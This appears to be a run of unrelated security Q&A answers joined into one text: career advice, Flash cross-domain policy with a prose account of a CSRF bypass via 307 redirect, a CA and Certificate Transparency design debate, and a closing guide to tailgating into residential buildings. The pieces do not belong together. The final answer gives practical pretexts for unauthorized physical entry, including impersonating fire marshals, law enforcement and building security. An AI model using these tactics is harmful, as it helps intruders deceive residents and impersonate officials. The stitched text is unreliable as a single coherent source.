It sounds like you are looking for an area to specialize in for your studies. My recommendation would be to get as broad as possible experience - everywhere you can. Unless you are planning on being in QA, as a security person, you need to be well rounded. In a corporate IT security role, you will need to primarily know how to manage the operating system security and security process. Do you know how AD works, how to set up permission? RACF for mainframes? PAM on linux? You may find that you would have a half security half sys admin role. If you are a hardcore programmer, you know C++ and assembly, then you could get a position as a virus researcher or developing algorithms to stop decompilation. These jobs are far fewer, but if you have the qualifications you will have fun looking through code and trying to bend it. If you want to be a pen tester, you really need to know how network traffic works, patch management, how to research exploits given information you discover on the fly (e.g., found this service I have never seen, connect with telnet/netcat and try to get a response or find someone who knows how the service works and try to get it to give me data). You could also be in QA or development or do application and web application pen testing, which requires knowing effective programming and just knowing how to spot things which are wrong.

Ideally, you should get experience everywhere. Unless you find a small niche shop, you will likely be doing a wide array of "security things". You might also end up in Audit, which often in IT is security-focused, but is not quite security. You are unlikely to be a "worm specialist". If you have programming chops, you may be asked one week to look at an iPhone app, the next week a web app. You need to know how to write those types of apps first before you can start to break them.

Likely, your background is either sys admin and IT or its programming. If its programming, learn as many languages as possible, make sure you understand databases as most apps regardless of devices, desktop, or web will write data to databases. If you are a systems or general IT guy, you might not be a "code" guy and instead you can focus on system hardening and network level security (firewalls, SIEM, log management).

Again, the key is to be a quick learner and to experiment in a lot of area. Grow your knowledge over time. You are better off long term being a generalist; you could be a SAP identity management specialist, but if you can't find a company who has SAP or cares about security or if SAP just dwindles in popularity, it will get real tough real quick.


Crossdomain.xml - write access to domain

Yes, although the default cross-origin permissions differ between Flash and HTML:

       Write Access (e.g. POSTing data)            Read Access (e.g. req allowing data to be read)

HTML   Allowed                                     Only allowed with CORS
Flash  Not allowed without cross domain policy     Not allowed without cross domain policy

Having said this, it is possible to perform a CSRF attack using Flash without a cross domain policy. Evgeniy Yakovchuk has posted a Github which shows a POC of the issue. This involves the Flash file making a request to a URL on the same origin as the .swf file, however, then the handler for this URL then issues a 307 redirect that causes the request to be sent to the victim site. The crossdomain.xml file is not checked before the request has been redirected, and CSRF is achieved, also with the option of setting a custom content-type header that would bypass the usual browser Same Origin Policy restrictions.

Whether this is "by design" is for Adobe to confirm. They did fix a variation on this that also allowed custom headers to be added which is normally not allowed without a relevant CORS policy, however the 307 redirect issue still remains.

Going back to the table above, since access is allowed by HTML anyway, allowing Flash to "write" to another origin too does not add further risk.

Both methods, as already touched upon, also require additional settings for headers: Flash cannot send custom headers with a request unless the appropriate setting in crossdomain.xml exists:

<allow-http-request-headers-from domain="www.example.com" headers="MyHeader"/>

And any custom headers require a pre-flight request within HTML to ensure the server configuration allows them.

Regarding the integrity risk (within the CIA triad), both could cause an indirect risk if the policy allows anti-CSRF tokens to be read which could then be used to make state-changing requests to the application.


EDIT IN LIGHT OF COMMENTS:

It sounds like the question you are trying to ask is:

  I don't like the all-eggs-in-one-basket nature of CAs, so can we design a new TLS system where each cert needs to be signed by multiple CAs? Can we use CT for this?

Yes, you could design such a system so that multiple CAs would have to work together to issue a fake cert, this raising the bar. It wouldn't change the fundamental nature of needing CAs and needing to trust them, but at least you wouldn't have to trust them individually.

Current TLS implementations can't do this because an X.509 certificate object only has a single CA signature field. Current CT implementations are also not designed for this because CT logs are meant to monitor CAs to make sure they are doing their jobs properly, not to themselves be CAs.

So yes, it's possible to get Let's Encrypt-like functionality with a system like this, but would not be compatible with current technologies. CAs are not ideal, but (for now at least) the world seems happy enough with putting them under a lot of public scrutiny and pulling them from browsers if Google or Mozilla catches them doing something they are not supposed to be.

There are, however, a few trickier points about TLS certificates that I think would be hard to handle:

Revocation

One of the core features of PKI is the ability to contact the CA that issued your certificate and ask them to revoke your certificate. This may be because you had a security breach (hack) and your private key might have been stolen. It might be because you are decommissioning your server and you won't need the cert anymore. Whatever the reason, you want the next time that a browser tries to validate your cert, for the CA to return "NO! Cert Revoked!".

CT logs currently don't track this (it's the job of the CA / OCSP responder). If you went to a multi-CA model, then I guess revoking it on any one CA would do (but then we're back to a single point of failure model where one rogue admin could cause a DOS) so this would need very careful thought.

OV / EV certs

From your question, I take it you only have experience with Domain Validated (DV) certs, these are the ones that Let's Encrypt offers where ownership can be verified by automation. There are two other categories - Organizational Validation and Extended Validation where humans at the CA do extensive record checking, phone calls, and potentially face-to-face meetings before issuing them a cert because with those levels it's not just the website that's being validated, but the entire company that owns it. That's where you see a green bar with the company name embedded in it:

OV / EV certs are expensive (several hundred to several thousand dollars per year) but, I assure you, many companies buy them because of the extra assurance. This would be very hard to accomplish in any non-CA PKI model.

PREVIOUS ANSWER

  There seems to be a consensus on the fact that CAs are bad, because we can not really trust them.

Fine, but do you have an alternative? CT only? So what's stopping me from CT logging a self-signed cert for google.com and being able to MitM Google?

From your comment:

  we could guarantee that only the domain owner can write to a CT log

... so I need to submit a proof that I own the domain, and the CT log server needs to verify this proof before adding it to the CT log? But what if the CT log admins are not trustworthy and slip in one that didn't actually pass the verification? You've just invented CAs again, but now the CA and the person who watches the CA to keep them honest (CT logs) are the same person.

Trustworthy or not, CAs are a necessary part of the PKI system.


Roles to play when tailgaiting into a residential building

There are some basic social engineering approaches to use that work in most situations, not just tailgating:

urgency
authority
curiosity
pretexting

Urgency

Be someone with a specific task to perform that needs to be done right now. The classics are a delivery person with full arms and someone looking to pick someone else up. A family member needing to check on an elderly resident. People want to be helpful and they don't think that you will be around long enough to be a threat.

Authority

Be someone who the gatekeeper has no right or reason to refuse. Fire marshal, utilities inspector, law enforcement, building security, process server. Lots of studies of people being let in with a just clipboard and a high-visibility vest.

Curiosity

To get close to someone, be very interesting in such a way that they want to know more. Dress up as a clown to deliver a telegram.

Pretexting

Establish a shallow relationship that appears to be deeper. Smoking with people outside on their break is classic. The smokers will assume you are also an employee (why else would you be there?)

Combinations

But these work even better in combination. A fire marshal in an awful rush. A clown who claims he was at the last company party (and knows a few important names). The more combinations you can combine, the more effective the process is — an authority figure, in a rush, to do something interesting, who claims to have a preexisting relationship. If you go over the top or try too hard, it will backfire, though.